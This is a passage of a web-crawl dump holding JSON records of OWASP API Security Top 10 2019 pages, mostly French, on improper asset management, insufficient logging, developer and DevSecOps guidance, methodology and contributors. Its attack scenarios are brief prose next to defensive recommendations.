accepter\n uniquement les valeurs valides pour chaque paramètre d'entrée.\n- Définissez des types de données et des schémas stricts pour tous les\n paramètres de chaines.\n\n## Références\n\n### OWASP\n\n- [OWASP Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\n- [NoSQL Injection Fun with Objects and Arrays](https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf)\n- [Command Injection](https://www.owasp.org/index.php/Command_Injection)\n\n### Externes\n\n- [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)", "znaku_textu": 4420, "slov": 581, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:21", "sha256": "81dff6012a1343e7f64acb9d45cbcca63d52a66da2e581a5bb20bf511f7ee2d1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Injection_Flaws", "https://www.owasp.org/index.php/SQL_Injection", "https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf", "https://www.owasp.org/index.php/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/89.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xa9-improper-assets-management/", "titulek": "API9:2019 Improper Assets Management - OWASP API Security Top 10", "h1": "API9:2019 Improper Assets Management", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xa9-improper-assets-management/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2019 Improper Assets Management"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemples de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API9:2019 Improper Assets Management\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique API : Exploitabilité **3** | Prévalence **3** : Détectabilité **2** | Technique **2** : Spécifique à l'organisation |\n| Les anciennes versions des API n'ont souvent pas bénéficié des correctifs de sécurité et sont un moyen facile pour compromettre des systèmes sans avoir à affronter des mécanismes de sécurité de pointe, qui peuvent avoir été mis en place pour protéger les versions les plus récentes de l'API. | Une documentation obsolète rend plus difficile la recherche et / ou la correction de vulnérabilités. L'absence d'inventaire des points actifs et de stratégies de retrait pour ceux ne devant plus être utilisés, conduit à faire tourner des systèmes dépourvus de correctifs de sécurité, entrainant la divulgation de données sensibles. Des hôtes d'API inutilement exposés sont fréquemment trouvés du fait des concepts modernes comme les micro-services, qui rendent les applications faciles à déployer et indépendantes (ex : cloud, aussi appelé informatique en nuage, Kubernetes). | Les attaquants peuvent obtenir accès à des données sensibles, et même prendre le contrôle du serveur via d'anciennes versions non corrigées de l'API connectées à la même base de données. |\n\n## L'API est-elle vulnérable ?\n\nL'API peut être vulnérable si :\n\n- L'objectif de l'hôte de l'API n'est pas clair, et il n'y a pas de réponses\n explicites aux questions suivantes :\n - Dans quel environment tourne l'API (ex : production, staging, test,\n développement) ?\n - Qui doit avoir un accès réseau à l'API (ex : public, interne,\n partenaires) ?\n - Quelle version de l'API tourne ?\n - Quelles données sont collectées et traitées par l'API (ex : données\n personnelles) ?\n - Quel est le flux des données ?\n- Il n'y a pas de documentation, ou la documentation existante n'est pas mise\n à jour.\n- Il n'y a pas de plan pour le retrait / la désactivation (des points d'accès\n devenus obsolètes) par version d'API.\n- L'inventaire des hôtes est manquant ou obsolète.\n- L'inventaire des services intégrés, en propre ou par des tiers, est manquant\n ou obsolète.\n- Des versions anciennes ou antérieures de l'API tournent sans correctifs.\n\n## Exemples de scénarios d'attaque\n\n### Scénario #1\n\nAprès avoir repensé ses applications, un service local de recherche avait\nlaissé une ancienne version de l'API (`api.someservice.com/v1`) tourner sans\nprotection, avec un accès à la base de données clients. En ciblant l'une des\napplications dernièrement publiées, un attaquant a trouvé l'adresse de l'API (`api.someservice.com/v2`). En remplaçant `v2` par `v1` dans l'URL l'attaquant\na obtenu accès à l'ancienne API non protégée, exposant les données personnelles\nde plus de 100 millions d'utilisateurs.\n\n### Scénario #2\n\nUn réseau social avait mis en place un mécanisme de limitation du nombre de\nrequêtes pour empêcher des attaquants d'employer la force brute pour deviner\nles jetons (Token) de réinitialisation des mots de passe. Ce mécanisme n'était pas\nimplémenté au niveau du code de l'API elle-même, mais dans un composant séparé\nsitué entre le client et l'API officielle (`www.socialnetwork.com`).\nUn chercheur découvrit un hôte d'API en beta\n(`www.mbasic.beta.socialnetwork.com`) faisant tourner la même API, y\ncompris le mécanisme de réinitialisation du mot de passe, mais était dépourvu\ndu mécanisme de limitation du nombre de requêtes. Le chercheur fut alors en mesure\nde réinitialiser le mot de passe de n'importe quel utilisateur simplement en\nutilisant la force brute pour deviner le token à 6 chiffres.\n\n- Inventoriez tous les hôtes d'API et documentez les aspects importants de\n chacun d'entre eux, en vous concentrant sur l'environnement de l'API (ex :\n production, staging, test, développement), sur qui devrait avoir un accès\n réseau à l'hôte (ex : public, interne, partenaires) et les versions de l'API.\n- Inventoriez les systèmes intégrés et documentez les aspects importants tels\n que leur rôle dans le système, quelles données sont échangées (flux des\n données) et leur sensibilité.\n- Documentez tous les aspects de votre API et notamment l'authentification, les\n erreurs, les redirections, la limitation du nombre de requêtes, la politique\n de partage de ressources entre origines multiples (CORS) et les points\n d'accès, incluant leurs paramètres, les requêtes et les réponses.\n- Générez la documentation automatiquement en adoptant des standards ouverts.\n Intégrez cette génération automatique de la documentation dans votre processus de déploiement continu CI/CD.\n- Donnez accès à la documentation de l'API aux personnes autorisées à utiliser\n l'API.\n- Utilisez des mesures de protection externes telles les pare-feux de\n sécurité pour API, et ce, pour toutes les versions exposées de vos API, pas\n seulement pour la version courante en production.\n- Évitez d'utiliser des données de production avec des déploiements d'API\n autres que ceux de production. Si vous ne pouvez l'évitez, ces points d'accès\n doivent bénéficier du même niveau de sécurité que ceux de production.\n- Lorsque de nouvelles versions d'API intègrent des améliorations de\n sécurité, effectuez une analyse de risque pour décider les actions\n d'atténuation requises pour l'ancienne version : par exemple, s'il est ou non\n possible de rétro-porter les améliorations sans rompre la compatibilité ou si\n vous devez retirer rapidement l'ancienne version et forcer tous les clients à\n passer à la dernière version.\n\n## Références\n\n### Externes\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)\n- [OpenAPI Initiative](https://www.openapis.org/)", "znaku_textu": 5574, "slov": 836, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:32:00", "sha256": "dca69f871ff92d69c598109b9c38fda58ad1f3ed865a72b5df3a15d8c33b0e8b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xaa-insufficient-logging-monitoring/", "titulek": "API10:2019 Insufficient Logging & Monitoring - OWASP API Security Top 10", "h1": "API10:2019 Insufficient Logging & Monitoring", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xaa-insufficient-logging-monitoring/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2019 Insufficient Logging & Monitoring"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemples de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API10:2019 Insufficient Logging & Monitoring\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique API : Exploitabilité **2** | Prévalence **3** : Détectabilité **1** | Technique **2** : Spécifique à l'organisation |\n| Les attaquants exploitent l'absence de logging et de monitoring pour utiliser frauduleusement des systèmes sans se faire repérer. | En l'absence de logging et de monitoring, ou si le logging et le monitoring sont insuffisants, il est pratiquement impossible de suivre des activités suspectes et d'y répondre rapidement. | Sans visibilité sur les activités malveillantes en cours, les attaquants disposent de beaucoup de temps et peuvent compromettre complètement les systèmes. |\n\n## L'API est-elle vulnérable ?\n\nL'API is vulnérable si :\n\n- Elle ne produit pas de logs, le niveau de logging n'est pas réglé\n correctement, ou les messages de log ne comportent pas suffisamment\n d'informations.\n- L'intégrité des logs ne peut pas être garantie (ex : [Log Injection](https://www.owasp.org/index.php/Log_Injection) ).\n- Les logs ne sont pas monitorés en permanence.\n- L'infrastructure de l'API n'est pas monitorée en permanence.\n\n## Exemples de scénarios d'attaque\n\n### Scénario #1\n\nLes clés d'accès d'une API d'administration ont fuité sur un répertoire public.\nLe propriétaire du répertoire a été notifié par e-mail à propos de cette fuite\npotentielle, mais a mis plus de 48 heures à réagir à l'incident, et\nl'exposition des clés d'accès peut avoir permis l'accès à des données\npersonnelles. Du fait d'un logging insuffisant, l'entreprise n'est pas capable\nd'évaluer quelles données ont pu être consultées par des acteurs malveillants.\n\n### Scénario #2\n\nUne plate-forme de partage de vidéos a subi une attaque par bourrage\nd'identifiants de “grande ampleur”. Malgré le log des essais infructueux,\naucune alerte n'a été émise pendant la durée de l'attaque. En réaction aux\nplaintes des utilisateurs, les logs de l'API ont été analysés et l'attaque a\nété détectée. L'entreprise a dû faire une annonce publique pour demander aux\nutilisateurs de réinitialiser leur mot de passe, et a dû déclarer l'incident\naux autorités de contrôle.\n\n- Loggez toutes les tentatives infructueuses d'authentification, les accès\n refusés et les erreurs de validations des données entrées.\n- Les logs doivent être formatés pour pouvoir être traités par un outil de\n gestion des logs, et doivent inclure suffisamment d'informations pour pouvoir\n identifier un acteur malveillant.\n- Les logs doivent être considérés comme des données sensibles, et leur\n intégrité doit être garantie durant leur stockage comme au cours de leur transfert.\n- Configurez un système de monitoring pour surveiller en permanence\n l'infrastructure, le réseau et le fonctionnement de l'API.\n- Utilisez un système d'information et de gestion des événements (SIEM) pour\n agréger et gérer les logs de tous les composants de la pile de l'API et des\n hôtes.\n- Configurez des tableaux de bord et des alertes personnalisés, permettant la\n détection et le traitement plus rapide d'activités suspectes.\n\n## Références\n\n### OWASP\n\n- [OWASP Logging Cheat Sheet](https://www.owasp.org/index.php/Logging_Cheat_Sheet)\n- [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://www.owasp.org/index.php/OWASP_Proactive_Controls)\n- [OWASP Application Security Verification Standard: V7: Error Handling and\n Logging Verification Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md)\n\n### Externes\n\n- [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 3639, "slov": 492, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:33:14", "sha256": "45ae38264ccec8d34334be8e98e98d0f49e5b5ea12ec140ae78faa12b1564a50", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Log_Injection", "https://www.owasp.org/index.php/Logging_Cheat_Sheet", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/778.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xb0-next-devs/", "titulek": "Perspectives pour les Développeurs - OWASP API Security Top 10", "h1": "Perspectives pour les Développeurs", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xb0-next-devs/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Perspectives pour les Développeurs"}], "markdown": "# Perspectives pour les Développeurs\n\nCréer ou maintenir la sécurité d'un logiciel, ou corriger un logiciel existant, peut s'avérer difficile. Il en va de même pour les API.\n\nNous pensons que l'éducation et la connaissance sont des facteurs clés pour écrire des logiciels sécurisés. L'atteinte de cet objectif repose ensuite sur **la mise en place et l'utilisation de processus de sécurité reproductibles et de contrôles de sécurité standards**.\n\nL'OWASP propose de nombreuses ressources gratuites et libres pour aborder la sécurité dès le début d'un projet. Veuillez visiter la [page des projets OWASP](https://www.owasp.org/index.php/Category:OWASP_Project) pour connaitre la liste complète des projets disponibles.\n\n| | |\n| --- | --- |\n| **Éducation** | Vous pouvez commencer par lire les [projets de la catégorie OWASP Education](https://www.owasp.org/index.php/OWASP_Education_Material_Categorized) en fonction de votre profession de votre intérêt. Pour une approche plus pratique, nous avons ajouté le projet **crAPI** - **C**ompletely **R**idiculous **API** à [notre roadmap](https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map). En attendant, vous pouvez vous entrainer à la sécurité des applis web avec le [module OWASP DevSlop Pixi](https://devslop.co/Home/Pixi), une WebApp et un service d'API volontairement vulnérables destinés à apprendre aux utilisateurs comment tester la sécurité des applications web modernes et des services d'API, et comment développer des API plus sécurisées à l'avenir. Vous pouvez également participer à des sessions de formation de [conférence OWASP AppSec](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference), ou [rejoindre une section OWASP locale](https://www.owasp.org/index.php/OWASP_Chapter). |\n| **Besoins de Sécurité** | La sécurité doit faire partie de chaque projet dès le début. Lors de la formulation des besoins, il est important de définir ce que \"sécurisé\" signifie pour ce projet. L'OWASP vous recommande d'utiliser le [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) comme guide pour définir vos besoins de sécurité. Si vous sous-traitez, envisagez le projet [OWASP Secure Software Contract Annex](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex), qui devra être adapté aux lois et réglementations locales. |\n| **Architecture de Sécurité** | La sécurité doit rester une préoccupation durant toutes les étapes du projet. Les [OWASP Prevention Cheat Sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) sont un bon point de départ pour guider la conception de la sécurité durant la phase d'architecture. Parmi beaucoup d'autres, vous trouverez la [REST Security Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md) et la [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md). |\n| **Contrôles de Sécurité Standards** | L'adoption de contrôles de sécurité standards réduit le risque d'introduire des vulnérabilités de sécurité lorsque vous implémentez votre logique métier. Bien que de nombreux frameworks modernes incluent désormais des contrôles standards efficaces, [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018) vous fournit un bon résumé des contrôles de sécurité que vous devriez inclure dans votre projet. L'OWASP fournit aussi quelques bibliothèques et outils que vous pourrez trouver utiles, tels que des contrôles de validation. |\n| **Cycle de Développement Logiciel Sécurisé** | Vous pouvez utiliser le [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project) pour améliorer le processus de développement d'API. Plusieurs autres projets OWASP sont disponibles pour vous aider durant les différentes phases de développement d'API, par ex. le [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project). |", "znaku_textu": 4043, "slov": 456, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:07:59", "sha256": "6f594ba4b2b6be67be5c46b1c189c59f1ef1f65945102dcfb0c4682930bfa0aa", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://www.owasp.org/index.php/OWASP_Education_Material_Categorized", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://devslop.co/Home/Pixi", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://www.owasp.org/index.php/OWASP_SAMM_Project", "https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xb1-next-devsecops/", "titulek": "Perspectives pour les DevSecOps - OWASP API Security Top 10", "h1": "Perspectives pour les DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xb1-next-devsecops/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Perspectives pour les DevSecOps"}], "markdown": "# Perspectives pour les DevSecOps\n\nDu fait de leur importance dans les architectures des applications modernes, il\nest crucial de construire des API sécurisées. La sécurité ne peut pas être\nnégligée, et elle doit faire partie de l'ensemble du processus de\ndéveloppement. Effectuer un scan et un test d'intrusion annuel n'est plus\nsuffisant.\n\nLes DevSecOps doivent participer à l'effort de développement et faciliter les\ntests continus de sécurité sur l'ensemble du cycle de vie du développement\nlogiciel. Leur but est d'améliorer le processus de développement avec une\nautomatisation de la sécurité, sans impacter la vitesse de développement.\n\nEn cas de doute, tenez-vous informé et consultez souvent le [DevSecOps Manifesto](https://www.devsecops.org/).\n\n| | |\n| --- | --- |\n| **Compréhension du modèle de menaces** | Les priorités de tests sont déterminées par le modèle de menaces. Si vous n'en avez pas, envisagez d'utiliser notre [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project), et notre [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) comme bases. Impliquer l'équipe de développement peut contribuer à les rendre plus conscients de la sécurité. |\n| **Comprendre le SDLC** | Joignez-vous à l'équipe de développement pour mieux comprendre le cycle de développement logiciel (SDLC - Software Development Life Cycle). Votre contribution aux tests de sécurité continus doit être compatible avec les personnes, les procédés et les outils. Tout le monde doit adhérer à la démarche, afin d'éviter des frictions ou de la résistance inutiles. |\n| **Stratégies de tests** | Comme votre travail ne doit pas impacter la vitesse de développement, vous devez choisir judicieusement la meilleure technique (simple, la plus rapide, la plus juste) pour vérifier les exigences de sécurité. Les projets [OWASP Security Knowledge Framework](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) et [OWASP Application Security Verification Standard](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) peuvent constituer d'excellentes sources d'exigences de sécurité fonctionnelles et non-fonctionnelles. Il existe également d'autres ressources et contenus de qualité tels les [projets](http://devsecops.github.io/) et [outils](https://github.com/devsecops/awesome-devsecops) proposés par la [communauté DevSecOps](http://devsecops.org). |\n| **Obtention de couverture et précision** | Vous êtes le lien entre les développeurs (Dev) et les équipes opérationnelles (Ops). Pour réaliser la couverture, vous devez vous concentrer non seulement sur la fonctionnalité, mais aussi sur l'orchestration. Travaillez en étroite relation à la fois avec les équipes de développement et des opérations (infra) dès le début pour pouvoir optimiser votre temps et vos efforts. Vous devez viser un état où la sécurité essentielle est vérifiée continuellement. |\n| **Communication claire des résultats** | Apportez de la valeur avec pas ou peu de friction. Alertez promptement sur vos découvertes, en utilisant les moyens et outils mis en oeuvres par vos équipes (pas dans des fichiers PDF). Joignez-vous à l'équipe de développement pour résoudre ces problèmes. Profitez de l'occasion pour les instruire, en décrivant clairement la vulnérabilité et la manière dont elle peut être exploitée, avec un scénario d'attaque pour la rendre réelle. |", "znaku_textu": 3441, "slov": 441, "odkazu": 68, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:07", "sha256": "f683f3a06494fc34385dc993af5803358e00013764e0a434b63b1c9b9ade792d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Testing_Project", "https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xd0-about-data/", "titulek": "Méthodologie et Données - OWASP API Security Top 10", "h1": "Méthodologie et Données", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xd0-about-data/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Méthodologie et Données"}, {"uroven": 2, "text": "Présentation"}, {"uroven": 2, "text": "Méthodologie"}], "markdown": "# Méthodologie et Données\n\n## Présentation\n\nComme l'industrie de la sécurité applicative n'est pas spécifiquement concentrée\nsur les architectures applicatives les plus récentes, dans lesquelles les API\njouent un rôle important, il aurait été difficile de compiler une liste des dix\nrisques de sécurité les plus critiques pour les API en s'appuyant sur un appel\npublic à informations. Bien qu'il n'y ait pas eu de tel appel public\nà informations, la liste résultante composant le Top 10 est basée sur des\ninformations publiquement accessibles, des contributions d'experts en sécurité,\net des discussions ouvertes avec la communauté de la sécurité.\n\n## Méthodologie\n\nDans un premier temps, des informations publiquement disponibles sur des\nincidents de sécurité concernant des API ont été collectées, évaluées, et\ncatégorisées par un groupe d'experts en sécurité. Ces données ont été collectées\nà partir de plateformes de prime aux bogues (bug bounty) et de bases de données de vulnérabilités,\nsur une période d'un an, à des fins statistiques.\n\nDans un deuxième temps, il a été demandé à des praticiens de la sécurité\nexpérimentés en tests d'intrusion de compiler leur propre Top 10.\n\nLa [méthodologique d'évaluation de risque OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) a été utilisée pour\neffectuer l'analyse de risques. Les scores ont été discutés et évalués par les\npraticiens de la sécurité. Sur ces questions, veuillez vous référer à la section\ndes [risques de sécurité des API](../0x10-api-security-risks/).\n\nLa première ébauche de l'OWASP API Security Top 10 2019 résultait d'un consensus\nentre les données statistiques de la première phase et les listes des praticiens\nen sécurité. Cette ébauche a ensuite été soumise pour avis et évaluation à un\nautre groupe de praticiens de la sécurité disposant d'expériences en lien avec\nla sécurité des API.\n\nLe OWASP API Security Top 10 2019 a été présenté pour la première fois lors de\nl'événement OWASP Global AppSec Tel Aviv (mai 2019). Depuis lors, il a été mis\nà disposition sur GitHub pour permettre discussions et contributions publiques.\n\nLa liste des contributeurs est disponible dans la section des [Remerciements](../0xd1-acknowledgments/).", "znaku_textu": 2210, "slov": 334, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:16", "sha256": "e2809eccbad2aafb5aaa8e2659922ea63d39cfcb9232fe52acb67c7170146e25", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xd1-acknowledgments/", "titulek": "Remerciements - OWASP API Security Top 10", "h1": "Remerciements", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xd1-acknowledgments/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Remerciements"}, {"uroven": 2, "text": "Remerciements aux Contributeurs"}], "markdown": "# Remerciements\n\n## Remerciements aux Contributeurs\n\nNous voulons remercier les contributeurs suivants qui ont contribué publiquement\nsur GitHub ou par d'autres moyens :\n\n- 007divyachawla\n- Abid Khan\n- Adam Fisher\n- anotherik\n- bkimminich\n- caseysoftware\n- Chris Westphal\n- dsopas\n- DSotnikov\n- emilva\n- ErezYalon\n- flascelles\n- Guillaume Benats\n- IgorSasovets\n- Inonshk\n- JonnySchnittger\n- jmanico\n- jmdx\n- Keith Casey\n- kozmic\n- LauraRosePorter\n- Matthieu Estrade\n- nathanawmk\n- PauloASilva\n- pentagramz\n- philippederyck\n- pleothaud\n- r00ter\n- Raj kumar\n- Sagar Popat\n- Stephen Gates\n- thomaskonrad\n- xycloops123", "znaku_textu": 574, "slov": 63, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:26", "sha256": "776e41ec8b0c287ad4782df3fba8d8da4738fdee4aeba18990f58fab45a61ee0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/dist/owasp-api-security-top-10.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 3317484, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:24", "sha256": "0e106aecaa21a009b6862cd89071f911233999392a354ef518a4dc8cd326ddb4", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/API-Security/editions/2019/id/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "OWASP API Security Top 10 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0x00-header/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Top 10 2019"}], "markdown": "# OWASP API Security Top 10 2019\n\nSepuluh Risiko Keamanan API yang Paling Kritis\n\n29 Mei 2019\n\n| | | |\n| --- | --- | --- |\n| https://owasp.org | Karya ini dilisensikan di bawah [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 260, "slov": 30, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:55", "sha256": "48d6ea1d2bdd8053a33f2eca49e98dc2a720b9cd834b7fce2e6124e853f0ad12", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0x00-notice/", "titulek": "Pemberitahuan - OWASP API Security Top 10", "h1": "Pemberitahuan", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0x00-notice/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Pemberitahuan"}], "markdown": "# Pemberitahuan\n\nIni adalah versi teks dari OWASP API Security Top 10, digunakan sebagai sumber untuk versi resmi yang didistribusikan sebagai Portable Document Format (PDF).\n\nKontribusi terhadap proyek seperti komentar, koreksi, atau terjemahan harus dilakukan di sini. Untuk detail tentang [Cara Berkontribusi](../../../../CONTRIBUTING/), harap mengacu pada [CONTRIBUTING.md](../../../../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy", "znaku_textu": 427, "slov": 49, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": 